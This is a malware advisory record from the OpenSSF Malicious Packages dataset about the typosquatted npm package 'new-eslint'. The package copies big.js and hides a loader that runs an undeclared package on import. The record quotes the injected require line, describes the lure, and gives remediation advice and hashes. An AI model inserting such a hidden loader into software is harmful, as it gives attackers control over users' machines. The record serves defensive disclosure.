MAL-2026-6224Malicious code in new-eslint (npm)
| Ecosystem | Package | Version |
|---|---|---|
| npm | new-eslint | * |
| npm | new-eslint | 7.0.5 |
{"schema_version":"1.7.4","id":"MAL-2026-6224","published":"2026-06-19T14:23:59Z","modified":"2026-08-25T16:28:06.198704349Z","aliases":["GHSA-8h72-5mvw-5f6r"],"summary":"Malicious code in new-eslint (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (6f068a5c7ad1a53c60d794a3b4585418956c176c42b8d5d90855e2ac60962b25)\nPackage is published as 'new-eslint' but ships a verbatim copy of MikeMcl/big.js, with a hidden loader injected mid-file between P.minus and P.mod in both big.js:605 and big.mjs:605: `const helper = require(\"ts-eslint-helper\"); helper.from_str().then(e => e).catch(e => { });`. This require fires whenever a consumer imports or requires the package and silently swallows all errors. The required package `ts-eslint-helper` is not declared in package.json — the manifest lists a different package, `eslint-helper@4.0.1` — so the loaded code is undeclared and attacker-mutable. The README claims 'no dependencies' and describes big.js, while the package name impersonates eslint tooling: classic typosquat lure plus hidden remote-controlled loader. Whatever `ts-eslint-helper.from_str()` does runs in the installer's process on import with no advertised functionality justifying it.\n\n## Source: ghsa-malware (5301d966541d30ed2b6a97b64c70609897b2c685bf0bb2e8eec33605225d4529)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"new-eslint","ecosystem":"npm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["7.0.5"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"a561aa99a23974fceafd4b2bc8eb050fe3159a0328fd73ea8e3e1bc599e288cb","tlsh":"0921f267c9a19db70af85b98b8ac43aaf1151b1f01a14c5bb07b131c4b3345b2096bbd"},{"path":"big.js","sha256":"d1f1baf7ef7571122bd26e3676d6f2dcf7cc7fd7dc9cdec4c3b75535ad0e3bbf","tlsh":"9cc2658c3ac67579593363788f465088eb38525712c8b286b4ae62b46f78cb107b4fdc"}],"package_integrity":[{"filename":"new-eslint-7.0.5.tgz","hashes":{"sha1":"5caff974ef503bc10fb120958e1b78330bae7c02","sha512_sri":"sha512-IihA49/Cnl7beKKA/JFi/8TjMLCEtL4GjE2qZ31odOxQPNV5KxZA/8n9xfjIc3ZzYlFjVXS73unbfEtRGuCShQ=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/new-eslint/v/7.0.5"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8h72-5mvw-5f6r"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-007067","import_time":"2026-06-19T15:41:55.008216882Z","modified_time":"2026-06-19T14:23:59Z","sha256":"6f068a5c7ad1a53c60d794a3b4585418956c176c42b8d5d90855e2ac60962b25","source":"amazon-inspector","versions":["7.0.5"]},{"id":"GHSA-8h72-5mvw-5f6r","import_time":"2026-08-25T16:26:05.020215551Z","modified_time":"2026-08-25T16:17:10Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"5301d966541d30ed2b6a97b64c70609897b2c685bf0bb2e8eec33605225d4529","source":"ghsa-malware"}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}数据来源:OpenSSF Malicious Packages · Apache-2.0